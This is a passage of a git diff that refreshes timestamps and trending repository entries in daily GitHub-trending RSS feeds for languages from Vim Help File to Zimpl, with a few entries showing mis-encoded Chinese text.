\ No newline at end of file
diff --git a/vim-help-file/daily/index.xml b/vim-help-file/daily/index.xml
index b58e6a9bf6b..c21469fe3f0 100644
--- a/vim-help-file/daily/index.xml
+++ b/vim-help-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vim Help File Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:41Z
+ 2024-01-04T01:40:48ZDaily Trending of Vim Help File in GitHub
\ No newline at end of file
diff --git a/vim-script/daily/index.xml b/vim-script/daily/index.xml
index 91ae2ef0262..472ad473bd4 100644
--- a/vim-script/daily/index.xml
+++ b/vim-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vim Script Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:49Z
+ 2024-01-04T01:40:55ZDaily Trending of Vim Script in GitHub
\ No newline at end of file
diff --git a/vim-snippet/daily/index.xml b/vim-snippet/daily/index.xml
index 78188e5f0fb..95049f8541b 100644
--- a/vim-snippet/daily/index.xml
+++ b/vim-snippet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vim Snippet Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:46Z
+ 2024-01-04T01:40:51ZDaily Trending of Vim Snippet in GitHub
\ No newline at end of file
diff --git a/visual-basic-.net/daily/index.xml b/visual-basic-.net/daily/index.xml
index 02c897e5703..70ecfd41783 100644
--- a/visual-basic-.net/daily/index.xml
+++ b/visual-basic-.net/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Visual Basic .NET Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:46Z
+ 2024-01-04T01:40:53ZDaily Trending of Visual Basic .NET in GitHub
\ No newline at end of file
diff --git a/volt/daily/index.xml b/volt/daily/index.xml
index 820da3130ec..10819097f88 100644
--- a/volt/daily/index.xml
+++ b/volt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Volt Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:51Z
+ 2024-01-04T01:40:57ZDaily Trending of Volt in GitHub
\ No newline at end of file
diff --git a/vue/daily/index.xml b/vue/daily/index.xml
index c90e6fb1a38..a1afa4d7adb 100644
--- a/vue/daily/index.xml
+++ b/vue/daily/index.xml
@@ -1,28 +1,21 @@
GitHub Vue Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:54Z
+ 2024-01-04T01:40:59ZDaily Trending of Vue in GitHub
- helloqyg/MettShort
- 2024-01-03T01:39:54Z
- tag:github.com,2024-01-03:/helloqyg/MettShort
-
- <p>2023็ญ้จ็ญๅงๅพฎ็ญๅงๅฏ่ฟ่ฅ็ๆฌ๏ผๅ ๅซๅพฎไฟกๅฐ็จๅบใๆ้ณๅฐ็จๅบใAPPใๅ ฌไผๅทๅคไธช็ๆฌใไนๆฏๆๅพฎไฟกๅฐ็จๅบๅช่ต็ฎก็ใ่ๆๆฏไปใๅพฎ็ญๅง็ญๅๆจกๅๅ่ฝใๅ ๅซๆน้ๅฏผๅ ฅใๅ็ง่ง้ขๆ ผๅผ็ๆฏๆใsaasๅคๅผใๅ้ๅๅ้ใๅกๅฏๅ ๆขใๅไบซๆตทๆฅใ่ชๅจๅๆขใๅฐ็จๅบๆต้ไธป็ญไผๅคๅ่ฝใ</p><hr>
+ YangMr/usian-flow
+ 2024-01-04T01:40:59Z
+ tag:github.com,2024-01-04:/YangMr/usian-flow
+
+ <p>็ฉๆต้กน็ฎ</p><hr>
- wudengyao/admin_vue3_vite
- 2024-01-03T01:39:54Z
- tag:github.com,2024-01-03:/wudengyao/admin_vue3_vite
-
- <p>้กน็ฎๆๆฏๆ ๏ผVue3 + JavaScript + Vite4</p><hr>
-
-
- jaaksii/sublink
- 2024-01-03T01:39:54Z
- tag:github.com,2024-01-03:/jaaksii/sublink
-
- <p></p><hr>
+ Idered/chalk.ist
+ 2024-01-04T01:40:59Z
+ tag:github.com,2024-01-04:/Idered/chalk.ist
+
+ <p>๐ท Create beautiful images of your source code</p><hr>
\ No newline at end of file
diff --git a/vyper/daily/index.xml b/vyper/daily/index.xml
index 5c5ba569c78..dcb1b3c757f 100644
--- a/vyper/daily/index.xml
+++ b/vyper/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vyper Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:52Z
+ 2024-01-04T01:40:56ZDaily Trending of Vyper in GitHub
\ No newline at end of file
diff --git a/wavefront-material/daily/index.xml b/wavefront-material/daily/index.xml
index 0a0b214b6c3..48e917a986d 100644
--- a/wavefront-material/daily/index.xml
+++ b/wavefront-material/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wavefront Material Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:55Z
+ 2024-01-04T01:41:02ZDaily Trending of Wavefront Material in GitHub
\ No newline at end of file
diff --git a/wavefront-object/daily/index.xml b/wavefront-object/daily/index.xml
index 6ae9806cdcc..13f4d331876 100644
--- a/wavefront-object/daily/index.xml
+++ b/wavefront-object/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wavefront Object Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:56Z
+ 2024-01-04T01:41:01ZDaily Trending of Wavefront Object in GitHub
\ No newline at end of file
diff --git a/wdl/daily/index.xml b/wdl/daily/index.xml
index 010e57b272e..54c81de2193 100644
--- a/wdl/daily/index.xml
+++ b/wdl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WDL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:57Z
+ 2024-01-04T01:41:03ZDaily Trending of WDL in GitHub
\ No newline at end of file
diff --git a/web-ontology-language/daily/index.xml b/web-ontology-language/daily/index.xml
index 29301815801..526de75d73d 100644
--- a/web-ontology-language/daily/index.xml
+++ b/web-ontology-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Web Ontology Language Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:56Z
+ 2024-01-04T01:41:00ZDaily Trending of Web Ontology Language in GitHub
\ No newline at end of file
diff --git a/webassembly/daily/index.xml b/webassembly/daily/index.xml
index 640de9f8d37..0cab72d5366 100644
--- a/webassembly/daily/index.xml
+++ b/webassembly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WebAssembly Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:00Z
+ 2024-01-04T01:41:06ZDaily Trending of WebAssembly in GitHub
\ No newline at end of file
diff --git a/webidl/daily/index.xml b/webidl/daily/index.xml
index ef75a8d7f97..aa06da6cf92 100644
--- a/webidl/daily/index.xml
+++ b/webidl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WebIDL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:59Z
+ 2024-01-04T01:41:05ZDaily Trending of WebIDL in GitHub
\ No newline at end of file
diff --git a/webvtt/daily/index.xml b/webvtt/daily/index.xml
index 8666a47e799..2ff65c00a37 100644
--- a/webvtt/daily/index.xml
+++ b/webvtt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WebVTT Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:58Z
+ 2024-01-04T01:41:05ZDaily Trending of WebVTT in GitHub
\ No newline at end of file
diff --git a/wget-config/daily/index.xml b/wget-config/daily/index.xml
index b775ffc64dc..ee38ed1d563 100644
--- a/wget-config/daily/index.xml
+++ b/wget-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wget Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:03Z
+ 2024-01-04T01:41:07ZDaily Trending of Wget Config in GitHub
\ No newline at end of file
diff --git a/wikitext/daily/index.xml b/wikitext/daily/index.xml
index 682625d9f1c..5eb5d7e921e 100644
--- a/wikitext/daily/index.xml
+++ b/wikitext/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wikitext Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:02Z
+ 2024-01-04T01:41:10ZDaily Trending of Wikitext in GitHub
\ No newline at end of file
diff --git a/windows-registry-entries/daily/index.xml b/windows-registry-entries/daily/index.xml
index 55d68a0eed9..443aafd5139 100644
--- a/windows-registry-entries/daily/index.xml
+++ b/windows-registry-entries/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Windows Registry Entries Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:05Z
+ 2024-01-04T01:41:12ZDaily Trending of Windows Registry Entries in GitHub
\ No newline at end of file
diff --git a/wisp/daily/index.xml b/wisp/daily/index.xml
index 91621a7d725..b253217d571 100644
--- a/wisp/daily/index.xml
+++ b/wisp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub wisp Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:07Z
+ 2024-01-04T01:41:11ZDaily Trending of wisp in GitHub
\ No newline at end of file
diff --git a/witcher-script/daily/index.xml b/witcher-script/daily/index.xml
index 30d916f9e4a..0cdf8b6bdbe 100644
--- a/witcher-script/daily/index.xml
+++ b/witcher-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Witcher Script Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:06Z
+ 2024-01-04T01:41:13ZDaily Trending of Witcher Script in GitHub
\ No newline at end of file
diff --git a/wollok/daily/index.xml b/wollok/daily/index.xml
index 07449e62ac3..a3416ee6e08 100644
--- a/wollok/daily/index.xml
+++ b/wollok/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wollok Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:08Z
+ 2024-01-04T01:41:14ZDaily Trending of Wollok in GitHub
\ No newline at end of file
diff --git a/world-of-warcraft-addon-data/daily/index.xml b/world-of-warcraft-addon-data/daily/index.xml
index 020c18f5bfa..f4e80e05710 100644
--- a/world-of-warcraft-addon-data/daily/index.xml
+++ b/world-of-warcraft-addon-data/daily/index.xml
@@ -1,7 +1,7 @@
GitHub World of Warcraft Addon Data Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:09Z
+ 2024-01-04T01:41:16ZDaily Trending of World of Warcraft Addon Data in GitHub
\ No newline at end of file
diff --git a/x-bitmap/daily/index.xml b/x-bitmap/daily/index.xml
index b0efbd8ef7e..66115c4c925 100644
--- a/x-bitmap/daily/index.xml
+++ b/x-bitmap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X BitMap Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:09Z
+ 2024-01-04T01:41:15ZDaily Trending of X BitMap in GitHub
\ No newline at end of file
diff --git a/x-font-directory-index/daily/index.xml b/x-font-directory-index/daily/index.xml
index 9f664f0ba4c..176e560ec20 100644
--- a/x-font-directory-index/daily/index.xml
+++ b/x-font-directory-index/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X Font Directory Index Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:13Z
+ 2024-01-04T01:41:18ZDaily Trending of X Font Directory Index in GitHub
\ No newline at end of file
diff --git a/x-pixmap/daily/index.xml b/x-pixmap/daily/index.xml
index 3e1bafe701c..7f85e48d479 100644
--- a/x-pixmap/daily/index.xml
+++ b/x-pixmap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X PixMap Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:12Z
+ 2024-01-04T01:41:19ZDaily Trending of X PixMap in GitHub
\ No newline at end of file
diff --git a/x10/daily/index.xml b/x10/daily/index.xml
index 9ccb4f9df96..f0f08d893d9 100644
--- a/x10/daily/index.xml
+++ b/x10/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X10 Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:11Z
+ 2024-01-04T01:41:19ZDaily Trending of X10 in GitHub
\ No newline at end of file
diff --git a/xbase/daily/index.xml b/xbase/daily/index.xml
index e0846ad8e60..8a60a43f06c 100644
--- a/xbase/daily/index.xml
+++ b/xbase/daily/index.xml
@@ -1,7 +1,7 @@
GitHub xBase Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:13Z
+ 2024-01-04T01:41:17ZDaily Trending of xBase in GitHub
\ No newline at end of file
diff --git a/xc/daily/index.xml b/xc/daily/index.xml
index 045e7851553..45692b1a9c2 100644
--- a/xc/daily/index.xml
+++ b/xc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XC Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:15Z
+ 2024-01-04T01:41:21ZDaily Trending of XC in GitHub
\ No newline at end of file
diff --git a/xcompose/daily/index.xml b/xcompose/daily/index.xml
index 0598ddc0cf7..f2417bde518 100644
--- a/xcompose/daily/index.xml
+++ b/xcompose/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XCompose Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:17Z
+ 2024-01-04T01:41:22ZDaily Trending of XCompose in GitHub
\ No newline at end of file
diff --git a/xml-property-list/daily/index.xml b/xml-property-list/daily/index.xml
index b2bff44f717..8067f90485e 100644
--- a/xml-property-list/daily/index.xml
+++ b/xml-property-list/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XML Property List Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:16Z
+ 2024-01-04T01:41:22ZDaily Trending of XML Property List in GitHub
\ No newline at end of file
diff --git a/xml/daily/index.xml b/xml/daily/index.xml
index f1969fc1efc..9d178dd74ec 100644
--- a/xml/daily/index.xml
+++ b/xml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:17Z
+ 2024-01-04T01:41:20ZDaily Trending of XML in GitHub
\ No newline at end of file
diff --git a/xojo/daily/index.xml b/xojo/daily/index.xml
index c99a9d0c502..a70fefe5006 100644
--- a/xojo/daily/index.xml
+++ b/xojo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Xojo Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:18Z
+ 2024-01-04T01:41:25ZDaily Trending of Xojo in GitHub
\ No newline at end of file
diff --git a/xonsh/daily/index.xml b/xonsh/daily/index.xml
index e1696287088..f0b982fe414 100644
--- a/xonsh/daily/index.xml
+++ b/xonsh/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Xonsh Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:19Z
+ 2024-01-04T01:41:24ZDaily Trending of Xonsh in GitHub
\ No newline at end of file
diff --git a/xpages/daily/index.xml b/xpages/daily/index.xml
index c23c5fbacad..a19d57c483e 100644
--- a/xpages/daily/index.xml
+++ b/xpages/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XPages Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:19Z
+ 2024-01-04T01:41:23ZDaily Trending of XPages in GitHub
\ No newline at end of file
diff --git a/xproc/daily/index.xml b/xproc/daily/index.xml
index d83bc8ddbe3..f5e7bdc3075 100644
--- a/xproc/daily/index.xml
+++ b/xproc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XProc Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:20Z
+ 2024-01-04T01:41:25ZDaily Trending of XProc in GitHub
\ No newline at end of file
diff --git a/xquery/daily/index.xml b/xquery/daily/index.xml
index f068add639d..0b5ea56a396 100644
--- a/xquery/daily/index.xml
+++ b/xquery/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XQuery Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:22Z
+ 2024-01-04T01:41:27ZDaily Trending of XQuery in GitHub
\ No newline at end of file
diff --git a/xs/daily/index.xml b/xs/daily/index.xml
index b1513a3a9c0..e536f52e5ab 100644
--- a/xs/daily/index.xml
+++ b/xs/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:23Z
+ 2024-01-04T01:41:29ZDaily Trending of XS in GitHub
\ No newline at end of file
diff --git a/xslt/daily/index.xml b/xslt/daily/index.xml
index 2941871e92a..b8d5ee31952 100644
--- a/xslt/daily/index.xml
+++ b/xslt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XSLT Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:25Z
+ 2024-01-04T01:41:29ZDaily Trending of XSLT in GitHub
\ No newline at end of file
diff --git a/xtend/daily/index.xml b/xtend/daily/index.xml
index f44348e5b47..c48bce94dcd 100644
--- a/xtend/daily/index.xml
+++ b/xtend/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Xtend Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:21Z
+ 2024-01-04T01:41:26ZDaily Trending of Xtend in GitHub
\ No newline at end of file
diff --git a/yacc/daily/index.xml b/yacc/daily/index.xml
index 1a738ac25d2..d5b1437c975 100644
--- a/yacc/daily/index.xml
+++ b/yacc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Yacc Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:27Z
+ 2024-01-04T01:41:30ZDaily Trending of Yacc in GitHub
\ No newline at end of file
diff --git a/yaml/daily/index.xml b/yaml/daily/index.xml
index 679a841ac78..ffea8572253 100644
--- a/yaml/daily/index.xml
+++ b/yaml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub YAML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:29Z
+ 2024-01-04T01:41:32ZDaily Trending of YAML in GitHub
\ No newline at end of file
diff --git a/yang/daily/index.xml b/yang/daily/index.xml
index 5c24921db08..d807fe16e62 100644
--- a/yang/daily/index.xml
+++ b/yang/daily/index.xml
@@ -1,7 +1,7 @@
GitHub YANG Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:28Z
+ 2024-01-04T01:41:31ZDaily Trending of YANG in GitHub
\ No newline at end of file
diff --git a/yara/daily/index.xml b/yara/daily/index.xml
index 60b5b537d24..e977631b64e 100644
--- a/yara/daily/index.xml
+++ b/yara/daily/index.xml
@@ -1,7 +1,14 @@
GitHub YARA Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:28Z
+ 2024-01-04T01:41:33ZDaily Trending of YARA in GitHub
+
+ 100DaysofYARA/2024
+ 2024-01-04T01:41:33Z
+ tag:github.com,2024-01-04:/100DaysofYARA/2024
+
+ <p>Rules shared by the community from 100 Days of YARA 2024</p><hr>
+
\ No newline at end of file
diff --git a/yasnippet/daily/index.xml b/yasnippet/daily/index.xml
index fb8187acc48..22ceedc9438 100644
--- a/yasnippet/daily/index.xml
+++ b/yasnippet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub YASnippet Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:30Z
+ 2024-01-04T01:41:35ZDaily Trending of YASnippet in GitHub
\ No newline at end of file
diff --git a/zap/daily/index.xml b/zap/daily/index.xml
index 8ceb77c609c..eedfeddb829 100644
--- a/zap/daily/index.xml
+++ b/zap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ZAP Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:32Z
+ 2024-01-04T01:41:36ZDaily Trending of ZAP in GitHub
\ No newline at end of file
diff --git a/zeek/daily/index.xml b/zeek/daily/index.xml
index 303986a14f6..1d17e5fccca 100644
--- a/zeek/daily/index.xml
+++ b/zeek/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Zeek Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:31Z
+ 2024-01-04T01:41:34ZDaily Trending of Zeek in GitHub
\ No newline at end of file
diff --git a/zenscript/daily/index.xml b/zenscript/daily/index.xml
index 48abbbdb7a5..4c48b5ac44f 100644
--- a/zenscript/daily/index.xml
+++ b/zenscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ZenScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:35Z
+ 2024-01-04T01:41:37ZDaily Trending of ZenScript in GitHub
\ No newline at end of file
diff --git a/zephir/daily/index.xml b/zephir/daily/index.xml
index b9f994e04cb..936fd79cff7 100644
--- a/zephir/daily/index.xml
+++ b/zephir/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Zephir Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:34Z
+ 2024-01-04T01:41:37ZDaily Trending of Zephir in GitHub
\ No newline at end of file
diff --git a/zig/daily/index.xml b/zig/daily/index.xml
index 6311fa875f5..a823623dc8c 100644
--- a/zig/daily/index.xml
+++ b/zig/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Zig Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:37Z
+ 2024-01-04T01:41:40ZDaily Trending of Zig in GitHub
-
- webui-dev/zig-webui
- 2024-01-03T01:40:37Z
- tag:github.com,2024-01-03:/webui-dev/zig-webui
-
- <p>Use any web browser as GUI, with Zig in the backend and HTML5 in the frontend.</p><hr>
-
\ No newline at end of file
diff --git a/zil/daily/index.xml b/zil/daily/index.xml
index f08a8747a6d..04d28b263bb 100644
--- a/zil/daily/index.xml
+++ b/zil/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ZIL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:35Z
+ 2024-01-04T01:41:38ZDaily Trending of ZIL in GitHub
\ No newline at end of file
diff --git a/zimpl/daily/index.xml b/zimpl/daily/index.xml
index 0f58b9e48d6..9b3b6c9135f 100644
--- a/zimpl/daily/index.xml
+++ b/zimpl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Zimpl Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:40:38Z
+ 2024-01-04T01:41:41ZDaily Trending of Zimpl in GitHub
\ No newline at end of file